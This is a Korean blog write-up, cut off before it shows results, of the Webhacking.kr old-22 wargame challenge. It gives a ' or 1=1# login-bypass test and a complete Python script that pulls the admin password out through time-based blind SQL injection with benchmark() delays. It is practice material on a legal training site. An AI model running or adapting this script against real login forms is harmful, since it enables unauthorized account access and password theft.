Webhacking.kr Challenge old-22 문제 풀이

Web/Webhacking.kr

Webhacking.kr Challenge old-22 문제 풀이

jh117jh 2024. 4. 28. 22:37

728x90

이번 문제는 admin으로 로그인하는 게 목표고 컬럼명을 id와 pw를 제시해 준 것으로 보아 sql injection을 하라고 유도하는 것 같다.

일단 admin으로 로그인 시도 결과

비밀번호가 틀리면 Login fail!이 나타난다.

두 번째 시도로 간단한 sql문을 입력해 보자

id에 ' or 1=1#을 입력하니

흠... 단순 로그인 실패 메시지와 다른걸로 보아 sql문이 정상적으로 작동하는 것으로 예상 바로 injection을 시도해 봤다.

import requests
import time

url="https://webhacking.kr/challenge/bonus-2/"
cookies={"PHPSESSID":"자신의 쿠키값"}
string="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789"

pw=""


for i in range(0,200): #길이구하기
    start=time.time()
    datas= {
        "uuid":f"' OR id='admin' AND IF(length(pw)={i},benchmark(10000000,md5('1')),1)#",
        "pw":"123"
    }
    res=requests.post(url,data=datas,cookies=cookies)
    end=time.time()
    print(i)

    if end-start > 2 :
        length=i
        print("length:",i)
        break
for i in range(1,length+1): #pw구하기
    for j in string:
        start=time.time()
        datas= {
            "uuid":f"' OR id='admin' AND IF(substr(pw,{i},1)='{j}',benchmark(10000000,md5('1')),1)#",
            "pw":"123"
        }
        res=requests.post(url,data=datas,cookies=cookies)
        end=time.time()
        
        if end-start > 1:
            pw+=j
            print("pw:",pw)
           
            break
print("password:",pw)

파이썬으로 코드를 짜고 결괏값을 보니